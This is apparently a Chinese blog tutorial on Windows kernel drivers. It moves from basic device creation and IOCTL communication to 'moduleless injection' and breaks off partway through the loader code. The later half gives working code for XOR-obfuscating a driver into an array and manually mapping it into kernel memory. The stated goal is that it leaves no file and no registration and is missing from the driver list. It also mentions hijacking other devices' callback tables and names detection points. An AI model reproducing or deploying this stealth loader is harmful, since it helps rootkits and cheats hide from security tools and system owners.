在编程中,设备的概念被抽象为了一个虚拟的对象,即驱动对象管理设备对象,设备对象也拥有自己的路径和符号链接;

需要强调的是,一个驱动程序可以没有设备,也可以有虚拟的设备,不需要硬性要求设备一定是硬件;

用Linux的一种更通俗的理解:设备即是IO总线上插入进来的一个文件,用户层面的进程想要访问,只有通过驱动进行对接,因为驱动是这些文件的管理者;

因为我并不了解硬件设备的具体原理和构成,我这里做出一个猜测方便我理解:正常驱动开发也就是需要将需要接入电脑的设备的一些操作信号和指令转换为操作系统看得懂的指令(操作系统定义的统一接口),这样在操作系统中的进程使用该类资源时,发出的信号才能转换为对应的硬件指令;

接下来我会写一个驱动创建设备的过程,类似于以前r3写windows窗口编程,并用r3的程序去访问它;

第一步创建设备对象

在入口点写入如下内容即创建一个设备,其函数原型也如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NTSTATUS IoCreateDevice(
[in] PDRIVER_OBJECT DriverObject,
[in] ULONG DeviceExtensionSize,
[in, optional] PUNICODE_STRING DeviceName,
[in] DEVICE_TYPE DeviceType,
[in] ULONG DeviceCharacteristics,
[in] BOOLEAN Exclusive,
[out] PDEVICE_OBJECT *DeviceObject
);
#define MY_DEVICE_NAME L"\\device\\SecondBC"

//第一步创建设备对象
NTSTATUS stCode = STATUS_SUCCESS;
UNICODE_STRING myDeviceName;
RtlInitUnicodeString(&myDeviceName, MY_DEVICE_NAME);
PDEVICE_OBJECT pDevice;

stCode = IoCreateDevice(pDriver, 0, &myDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDevice);
if (stCode < 0)
{
DbgPrintEx(77, 0, "[bc]: Create Device Error, code: %lx\n", stCode);
return stCode;
}

函数第一个参数为设备绑定的驱动对象,第二个参数在此次不使用填0,第三个参数为设备名称,用于r3访问设备,第四个参数为设备类型,因为我们是没有硬件的虚拟设备,所以填UNKNOWN,第五个参数为设备属性,这里默认填OPEN,第六个参数为是否是独占资源,即是否一个进程在使用时,其他进程无法使用,这里填否,第七个参数是返回的设备对象;

此时我们就创建好了这个驱动对象;

第二步创建符号链接

1
2
3
4
5
6
7
8
9
10
11
12
#define MY_SYM_NAME L"\\??\\SecondBC" //r3: "\\\\.\\name"	

//第二步创建符号链接
UNICODE_STRING mySymName;
RtlInitUnicodeString(&mySymName, MY_SYM_NAME);
stCode = IoCreateSymbolicLink(&mySymName, &myDeviceName);
if (stCode < 0)
{
IoDeleteDevice(pDevice);
DbgPrintEx(77, 0, "[bc]: Create Symbol Name Error, code: %lx\n", stCode);
return stCode;
}

类比窗口编程中的注册;

第三步设置设备标志

1
2
3
//第三步设置设备标志
pDevice->Flags &= ~DO_DEVICE_INITIALIZING;
pDevice->Flags |= DO_BUFFERED_IO;

当创建驱动对象后,flag中的初始化位是存在的,需要手动给它消掉,不然有些操作系统无法对这个设备进行通信;

同时设置它的内存模式;

第四步创建回调函数

在驱动对象的结构里,有一个属性叫做:

1
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUN_FUNCTION + 1];

它是这个驱动的回调函数数组,也就是用于处理通信的函数;

它的下标值有如下内容,对应不同的执行时机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Define the major function codes for IRPs.
//
//函数里的file指的是设备/网络/文件/管道,等等,不单指文件
//Zw也可以替换为Nt NtCreateFile
#define IRP_MJ_CREATE 0x00 //创建或打开设备时 ZwCreateFile/ZwOpenFile 执行时
#define IRP_MJ_CREATE_NAMED_PIPE 0x01 //创建命名管道时 ZwCreateFile/ZwOpenFile
#define IRP_MJ_CLOSE 0x02 //关闭设备时 CloseHandle/ZwClose
#define IRP_MJ_READ 0x03 //读设备时 ZwReadFile
#define IRP_MJ_WRITE 0x04 //写设备时 ZwWriteFile
#define IRP_MJ_QUERY_INFORMATION 0x05 //查询设备信息时 ZwQueryInformationFile
#define IRP_MJ_SET_INFORMATION 0x06 //设置设备信息时 ZwSetInformationFile
#define IRP_MJ_QUERY_EA 0x07 //查询EA时 ZwQueryInformationFile
#define IRP_MJ_SET_EA 0x08 //设置EA时 ZwSetInformationFile
#define IRP_MJ_FLUSH_BUFFERS 0x09 //刷新内存 ZwFlushBuffersFile
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a //查询V信息 ZwQueryVolumeInformationFile
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b //设置V信息 ZwSetVolumeInformationFile
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e //设备控制 NtDeviceIoControlFile,最容易检测
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12 //调用Close时会先调用一遍CleanUp
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16 //电源策略 ZwShutdownSystem
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19 //查询指标 ZwQueryQuotaInformationFile
#define IRP_MJ_SET_QUOTA 0x1a //设置指标 ZwSetQuotaInformationFile
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER IRP_MJ_PNP // Obsolete....
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b

把这些回调执行触发的一些函数列出来的原因是,hook的时候可能可以用到这些回调;

回到我们的设置函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//回调函数
NTSTATUS MyCreateCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
NTSTATUS MyCloseCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
NTSTATUS MyControlCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}

//第四步设置回调函数
pDriver->MajorFunction[IRP_MJ_CREATE] = MyCreateCallBack;
pDriver->MajorFunction[IRP_MJ_CLOSE] = MyCloseCallBack;
pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyControlCallBack;

这三个是必须要覆写的,其他地方的回调函数系统都给了一个空白模板;

此时第四步已经完成;

在这之后要在驱动卸载函数里面将分配的设备进行卸载;

第五步释放设备

1
2
3
4
5
6
7
8
9
if (pDriver->DeviceObject)
{
//先释放符号链接
UNICODE_STRING mySymName;
RtlInitUnicodeString(&mySymName, MY_SYM_NAME);
IoDeleteSymbolicLink(&mySymName);

IoDeleteDevice(pDriver->DeviceObject);
}

驱动完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include<ntifs.h>

#define MY_DEVICE_NAME L"\\device\\SecondBC"
#define MY_SYM_NAME L"\\??\\SecondBC" //r3: "\\\\.\\name"

//回调函数
NTSTATUS MyCreateCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s\n", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
NTSTATUS MyCloseCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s\n", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
NTSTATUS MyControlCallBack(
_In_ struct _DEVICE_OBJECT *DeviceObject,
_Inout_ struct _IRP *Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s\n", __FUNCTION__);
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
if (pDriver->DeviceObject)
{
//先释放符号链接
UNICODE_STRING mySymName;
RtlInitUnicodeString(&mySymName, MY_SYM_NAME);
IoDeleteSymbolicLink(&mySymName);

IoDeleteDevice(pDriver->DeviceObject);
}
}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
//第一步创建设备对象
NTSTATUS stCode = STATUS_SUCCESS;
UNICODE_STRING myDeviceName;
RtlInitUnicodeString(&myDeviceName, MY_DEVICE_NAME);
PDEVICE_OBJECT pDevice;

stCode = IoCreateDevice(pDriver, 0, &myDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDevice);
if (stCode < 0)
{
DbgPrintEx(77, 0, "[bc]: Create Device Error, code: %lx\n", stCode);
return stCode;
}

//第二步创建符号链接
UNICODE_STRING mySymName;
RtlInitUnicodeString(&mySymName, MY_SYM_NAME);
stCode = IoCreateSymbolicLink(&mySymName, &myDeviceName);
if (stCode < 0)
{
IoDeleteDevice(pDevice);
DbgPrintEx(77, 0, "[bc]: Create Symbol Name Error, code: %lx\n", stCode);
return stCode;
}

//第三步设置设备标志
pDevice->Flags &= ~DO_DEVICE_INITIALIZING;
pDevice->Flags |= DO_BUFFERED_IO;

//第四步设置回调函数
pDriver->MajorFunction[IRP_MJ_CREATE] = MyCreateCallBack;
pDriver->MajorFunction[IRP_MJ_CLOSE] = MyCloseCallBack;
pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyControlCallBack;

pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

r3访问设备

注意要设置r3的属性->C->代码生成->运行时库->mtd;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<Windows.h>
#include<iostream>
using namespace std;

#define MY_SYM_NAME "\\\\.\\SecondBC"

int _tmain(int argc, _TCHAR* argv[])
{
//打开驱动
HANDLE hDevice = CreateFileA(MY_SYM_NAME,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(!hDevice)
{
printf("打开设备失败!");
}
else
{
system("pause");

ULONG inbuff = 0;
ULONG outbuff = 0;
ULONG retlen = -1;
//设备通信
BOOL istrue = DeviceIoControl(hDevice,0,&inbuff,4,&outbuff,4,&retlen,0);
if(!istrue)
{
printf("设备通信失败!");
}
system("pause");
//关闭设备
CloseHandle(hDevice);
}
system("pause");
return 0;
}

结果如下:

结果

上面是一个通用编程框架,类似于r3的消息窗口编程;

设备/请求包结构

一般硬件设备都会附加一些过滤设备,处理信息的逻辑则是:

CPU发送一个irp包给到一层设备,处理完后往下传递,依次处理;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ntdll!_DEVICE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 ReferenceCount : Int4B
+0x008 DriverObject : Ptr32 _DRIVER_OBJECT //归属于的驱动对象
+0x00c NextDevice : Ptr32 _DEVICE_OBJECT //一个链,连接下一个设备对象
+0x010 AttachedDevice : Ptr32 _DEVICE_OBJECT //附加的设备(过滤设备,HOOK作用)
+0x014 CurrentIrp : Ptr32 _IRP //io request package 所有的IO信息交换包
+0x018 Timer : Ptr32 _IO_TIMER
+0x01c Flags : Uint4B
+0x020 Characteristics : Uint4B
+0x024 Vpb : Ptr32 _VPB
+0x028 DeviceExtension : Ptr32 Void
+0x02c DeviceType : Uint4B
+0x030 StackSize : Char //设备栈大小
+0x034 Queue : <unnamed-tag>
+0x05c AlignmentRequirement : Uint4B
+0x060 DeviceQueue : _KDEVICE_QUEUE
+0x074 Dpc : _KDPC
+0x094 ActiveThreadCount : Uint4B
+0x098 SecurityDescriptor : Ptr32 Void
+0x09c DeviceLock : _KEVENT
+0x0ac SectorSize : Uint2B
+0x0ae Spare1 : Uint2B
+0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
+0x0b4 Reserved : Ptr32 Void

IRP结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ntdll!_IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 MdlAddress : Ptr32 _MDL
+0x008 Flags : Uint4B
+0x00c AssociatedIrp : <unnamed-tag> //r3-r0通信的数据缓冲区在这,是个联合体
+0x010 ThreadListEntry : _LIST_ENTRY
+0x018 IoStatus : _IO_STATUS_BLOCK
+0x020 RequestorMode : Char //可以看出来是3环的请求还是0环的请求
+0x021 PendingReturned : UChar
+0x022 StackCount : Char //栈指针 有多少层栈 过滤设备的数量 (用于跳过过滤设备)
+0x023 CurrentLocation : Char //当前设备栈索引
+0x024 Cancel : UChar
+0x025 CancelIrql : UChar
+0x026 ApcEnvironment : Char
+0x027 AllocationFlags : UChar
+0x028 UserIosb : Ptr32 _IO_STATUS_BLOCK
+0x02c UserEvent : Ptr32 _KEVENT
+0x030 Overlay : <unnamed-tag>
+0x038 CancelRoutine : Ptr32 void
+0x03c UserBuffer : Ptr32 Void
+0x040 Tail : <unnamed-tag>

在回调里,要操作一个比较重要的内容,即是设备栈,会用到设备栈里面的参数;

使用以下代码获取设备栈:

1
2
3
4
PIO_STACK_LOCATION ioStack = IoGetCurrentIrpStackLocation(Irp);
//获取参数,参数是个联合体,对应不同回调功能
//对应触发函数的参数,如NtDeviceIoControlFile
ioStack->Parameters.[联合体名称,如DeviceIoControl].[对应调用函数的参数名称]

获取传递操作数:

1
Irp->AssociatedIrp.SystemBuffer;

使用设备读写r3进程内存

r3方向这么写:

1
2
3
4
5
DWORD inbuff = 0xf00dbc;
DWORD outbuff = 0;
DWORD retlen = -1;
//设备通信
BOOL istrue = DeviceIoControl(hDevice, 0xbc, &inbuff, 4, &outbuff, 4, &retlen, 0);

驱动的回调函数这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NTSTATUS MyControlCallBack(
_In_ struct _DEVICE_OBJECT* DeviceObject,
_Inout_ struct _IRP* Irp
)
{
DbgPrintEx(77, 0, "[bc]: %s\n", __FUNCTION__);

//获取设备栈
PIO_STACK_LOCATION ioStack = IoGetCurrentIrpStackLocation(Irp);

// 0xbc 为我们自定义的操作码
if (ioStack->Parameters.DeviceIoControl.IoControlCode == 0xbc)
{
DWORD input = 0;
memcpy(&input, Irp->AssociatedIrp.SystemBuffer, ioStack->Parameters.DeviceIoControl.InputBufferLength);
DbgPrintEx(77, 0, "[bc]: input: 0x%x\n", input);
DWORD output = 0xdeadbc02;
memcpy(Irp->AssociatedIrp.SystemBuffer, &output, ioStack->Parameters.DeviceIoControl.OutputBufferLength);
//需要给Irp的IO状态返回信息,返回值是输出长度
Irp->IoStatus.Information = ioStack->Parameters.DeviceIoControl.OutputBufferLength;
}
//也要记得给Irp的IO状态设置为成功
//因为要考虑到Irp可能是会经过多层设备的
//Irp上面的IoStatus才是最终的返回状态
Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}

可以发现,读写在驱动端都是使用一个缓冲区,即:

1
Irp->AssociatedIrp.SystemBuffer;

结果如下:

读写结果

可以劫持别的设备的回调表,通过打开别的设备来执行自己的函数;

两个检测点:一个是驱动遍历链表,一个是驱动回调函数表;

注意 IoControlCode 控制码windows官方有定义:

1
2
3
#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

第一个是设备类型,第二个是自定义码,一般从0x800开始;第四个是权限位;

第三个是缓冲区映射方法,有三种,一个是复制粘贴,二个是物理页共享(内存映射),三个是直写(直接操作r3地址)

针对的是r3和驱动里面的缓冲区指针的关系;

补充一个内容:驱动回调,只会在被当前驱动管理的设备被调用时,才会触发;其他设备被调用不会触发;

对于驱动回调的写法,用Write类型可以代替Control类型,只不过写r3内存需要二级指针;但是Read类型代替不了,因为数据传不到驱动;

使用二级指针让r3和驱动同时操作同一块内存要注意一点,这个数据区需要在栈上,这样不会导致缺页;

无模块注入

对于驱动断链,在win10上会有bug,会判断到驱动链表异常,从而蓝屏;

另外一种隐藏驱动的方法是无模块注入,我们会实现一个驱动注入器;

获取内核模块基址和大小

首先是一个函数,用于获取内核模块的基址和大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
ULONG_PTR QuerrySysModule(char* moduleName, PULONG_PTR moduleSize)
{
RTL_PROCESS_MODULES sysModuleTable = { 0 };
ULONG_PTR moduleBase = 0;
ULONG_PTR moduleLen = 0;
ULONG retLen = 0;
//获取操作系统的内核模块表
NTSTATUS st = ZwQuerySystemInformation(11, &sysModuleTable, sizeof(sysModuleTable), &retLen);
//第一次长度不够
if (!NT_SUCCESS(st) && st == STATUS_INFO_LENGTH_MISMATCH)
{
PRTL_PROCESS_MODULES psModuleTable = ExAllocatePool(NonPagedPool, retLen + sizeof(RTL_PROCESS_MODULES));
memset(psModuleTable, 0, retLen + sizeof(RTL_PROCESS_MODULES));
//二次查询
st = ZwQuerySystemInformation(11, psModuleTable, retLen + sizeof(RTL_PROCESS_MODULES), &retLen);
if (!NT_SUCCESS(st))
{
ExFreePool(psModuleTable);
return moduleBase;
}

//直接取核心内核模块
if (_stricmp(moduleName, "ntkrnlpa.exe") == 0 || _stricmp(moduleName, "ntoskrnl.exe") == 0)
{
moduleBase = psModuleTable->Modules[0].ImageBase;
moduleLen = psModuleTable->Modules[0].ImageSize;

if (moduleSize)
{
*moduleSize = moduleLen;
}
ExFreePool(psModuleTable);
return moduleBase;
}

//遍历表
for (int i = 1; i < psModuleTable->NumberOfModules; i++)
{
PRTL_PROCESS_MODULE_INFORMATION pModule = &(psModuleTable->Modules[i]);

PUCHAR baseName = (pModule->FullPathName + pModule->OffsetToFileName);
if (_stricmp(moduleName, baseName) == 0)
{
moduleBase = psModuleTable->Modules[i].ImageBase;
moduleLen = psModuleTable->Modules[i].ImageSize;

if (moduleSize)
{
*moduleSize = moduleLen;
}
ExFreePool(psModuleTable);
return moduleBase;
}

}
ExFreePool(psModuleTable);
}

return moduleBase;
}

用到的宏定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase; // Base address of the mapped module
PVOID ImageBase; // Base address of the module in memory
ULONG ImageSize; // Size of the module in memory
ULONG Flags; // Flags associated with the module
USHORT LoadOrderIndex; // Load order of the module
USHORT InitOrderIndex; // Initialization order of the module
USHORT LoadCount; // Number of times the module is loaded
USHORT OffsetToFileName; // Offset to the module's file name
UCHAR FullPathName[256]; // Full path of the module
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules; // Total number of modules
RTL_PROCESS_MODULE_INFORMATION Modules[1]; // Array of module information
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

NTSTATUS NTAPI ZwQuerySystemInformation(
_In_ ULONG SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

注入驱动数组化

我们需要把要注入的驱动模块进行数组化,使用注入器将数组直接写入到内存,在内存中直接运行驱动的DriverMain,实现不落地,不注册。自然驱动链表里面不会出现我们要挂载的驱动模块,其他地方也不会记录这样一个驱动模块,所谓无模块注入;

所以我们要实现一个驱动数组化的工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <iostream>
#include <Windows.h>
using namespace std;

BYTE box[10] = { 0xbc,0x02,0xde,0xad,0xbe,0xef,0x12,0x34,0x56,0x78 };

int main(int argc, char* argv[], char** env)
{
if (argc < 4)
{
printf("用法: BuildFile path_aim_file out_file var_name\n");
return 0;
}



FILE *file;

fopen_s(&file, argv[1], "rb");
if (file == NULL)
{
printf("打开文件失败\n");
return -1;
}

//求长度
fseek(file, 0, SEEK_END);
int fileLen = ftell(file);
rewind(file);

//写入到内存
BYTE* fileData = (BYTE*)malloc(fileLen);
memset(fileData, 0, fileLen);
fread_s(fileData, fileLen, fileLen, 1, file);

fclose(file);
file = NULL;
//写出
fopen_s(&file, argv[2], "wb");
if (file == NULL)
{
printf("创建文件失败\n");
return -2;
}

char buffer[100] = { 0 };
sprintf_s(buffer, 99, "unsigned char %s[%d] = { ", argv[3], fileLen);
fputs("#pragma once\r\n", file);
fputs(buffer, file);

for (int i = 0; i < fileLen; i++)
{
char code[10] = { 0 };

if (i % 16 == 0)
{
fputs("\r\n\t", file);
}

fileData[i] ^= box[i % sizeof(box)];

sprintf_s(code, 10, "0x%02X, ", fileData[i]);
fputs(code, file);

}
fputs("\r\n};\r\n", file);
fclose(file);

return 0;
}

其能力为:读目标驱动,转换为数组,写入到注入器的项目中,作为头文件使用;

把驱动数组进行简单异或加密,更增隐秘性;

制作一份批处理在注入器编译前阶段自动执行:

1
2
3
4
5
6
7
8
set "workpath=%cd%"
cd ../
set "mainpath=%cd%"
set "genPath=%mainpath%\Release"
set "aimPath=%genPath%\LoadTest.sys"
set "buildPath=%genPath%\BuildFile.exe"
cd %workpath%
%buildPath% %aimPath% sys.h sysData

当编译注入器的时候,会先生成目标驱动(LoadTest.sys),然后利用转换工具转换为头文件,然后才生成注入器;

PE文件老三样处理

注入的驱动模块需要和正常PE文件一样,在内存中正常运行;

所以需要拉伸PE段,进行重定位,修复IAT表;

进行重定位和修复IAT的具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
ULONG64 ExportGetAddrByName(PUCHAR imageBase, PUCHAR funcName)
{
ULONG64 funcAddr = NULL;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(imageBase + pDos->e_lfanew);

PIMAGE_DATA_DIRECTORY pDir = &(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
if (!(pDir->VirtualAddress)) return funcAddr;

PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDir->VirtualAddress + imageBase);
int* funcTable = pExport->AddressOfFunctions + imageBase;
int* nameTable = pExport->AddressOfNames + imageBase;
short* ordinalTable = pExport->AddressOfNameOrdinals + imageBase;

for (int i = 0; i < pExport->NumberOfNames; i++)
{
char* name = nameTable[i] + imageBase;
int ordinal = -1;
if (!strcmp(name, funcName))
{
ordinal = ordinalTable[i];
}

if (ordinal != -1)
{
funcAddr = funcTable[ordinal] + imageBase;
break;
}
}
return funcAddr;
}

void FixImports(PUCHAR memImage)
{
ULONG64 funcAddr = NULL;

PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)memImage;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(memImage + pDos->e_lfanew);

PIMAGE_DATA_DIRECTORY pDir = &(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
if (!(pDir->VirtualAddress)) return;

PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pDir->VirtualAddress + memImage);
LPSTR libName = NULL;

while (pImport->Name)
{
libName = (PCHAR)(pImport->Name + memImage);
ULONG64 moduleSize = 0;
ULONG64 hModule = 0;
hModule = QuerrySysModule(libName, &moduleSize);
if (hModule || (_stricmp(libName, "hal.dll") == 0))
{
PIMAGE_THUNK_DATA pIat = (PIMAGE_THUNK_DATA)(pImport->FirstThunk + memImage);
PIMAGE_THUNK_DATA pInt = (PIMAGE_THUNK_DATA)(pImport->OriginalFirstThunk + memImage);

for (; pInt->u1.ForwarderString; pIat++, pInt++)
{
// 判断是否有名字
if (pInt->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
// 32位序号导入
}
else if (pInt->u1.AddressOfData & IMAGE_ORDINAL_FLAG64)
{
// 64位序号导入
}
//名字导入
else
{
PIMAGE_IMPORT_BY_NAME stru = (PIMAGE_IMPORT_BY_NAME)(pInt->u1.AddressOfData + memImage);

if ((_stricmp(libName, "hal.dll") == 0) || (_stricmp(libName, "ntoskrnl.exe") == 0) || (_stricmp(libName, "ntkrnlpa.exe") == 0))
{
STRING anFuncName = { 0 };
UNICODE_STRING unFuncName = { 0 };
RtlInitString(&anFuncName, stru->Name);
RtlAnsiStringToUnicodeString(&unFuncName, &anFuncName, TRUE);

funcAddr = MmGetSystemRoutineAddress(&unFuncName);
RtlFreeUnicodeString(&unFuncName);
}
else
funcAddr = ExportGetAddrByName(hModule, stru->Name);
if (funcAddr)
{
pIat->u1.Function = (ULONG_PTR)funcAddr;
}
else
{
//fail
return;
}
}
}
}
else
{
//fail
return;
}
pImport++;
}
}

void Relocate(PUCHAR memImage)
{
typedef struct _IMAGE_RELOC
{
UINT16 Offset : 12;
UINT16 Type : 4;
}IMAGE_RELOC, * PIMAGE_RELOC;

PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)memImage;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(memImage + pDos->e_lfanew);

PIMAGE_DATA_DIRECTORY pDir = &(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if (!(pDir->VirtualAddress)) return;

PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(memImage + pDir->VirtualAddress);

while (pReloc->SizeOfBlock)
{
//取word类型个数
UINT32 reCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(UINT16);
PIMAGE_RELOC begin = (PIMAGE_RELOC)((PUINT8)pReloc + sizeof(IMAGE_BASE_RELOCATION));

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
//有效位判断
//32位
if (begin[i].Type == IMAGE_REL_BASED_HIGHLOW)
{
//获取小块对应地址
PUINT32 address = (PUINT32)(begin[i].Offset + pReloc->VirtualAddress + memImage);
//重定位
UINT32 delta = (*address - pNt->OptionalHeader.ImageBase) + memImage;
*address = delta;
}
//64位
else if (begin[i].Type == IMAGE_REL_BASED_DIR64)
{
PUINT64 address = (PUINT64)(begin[i].Offset + pReloc->VirtualAddress + memImage);
UINT64 delta = (*address - pNt->OptionalHeader.ImageBase) + memImage;
*address = delta;
}
}
pReloc = (PIMAGE_BASE_RELOCATION)((PUINT8)pReloc + pReloc->SizeOfBlock);
}
//基地址修复
pNt->OptionalHeader.ImageBase = (ULONG64)memImage;
}

加载驱动模块的核心函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void LoadPE(unsigned char* PEimage)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)PEimage;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(PEimage + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

//内存大小
ULONG_PTR sizeOfImage = pNt->OptionalHeader.SizeOfImage;

//给到头
PUCHAR memImage = (PUCHAR)ExAllocatePool(NonPagedPool, sizeOfImage);
memset(memImage, 0, sizeOfImage);
memcpy(memImage, PEimage, pNt->OptionalHeader.SizeOfHeaders);

//拉伸节区
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
if(pSection->SizeOfRawData != 0)
memcpy((memImage + pSection->VirtualAddress), (PEimage + pSection->PointerToRawData), pSection->SizeOfRawData);

pSection++;
}

//重定位
Relocate(memImage);

//修复IAT
FixImports(memImage);

//修复Cookie 加壳的不用做这一步
FixCookie(memImage);

//调用入口点
PDRIVER_INITIALIZE entryPoint = (PDRIVER_INITIALIZE)(pNt->OptionalHeader.AddressOfEntryPoint + memImage);
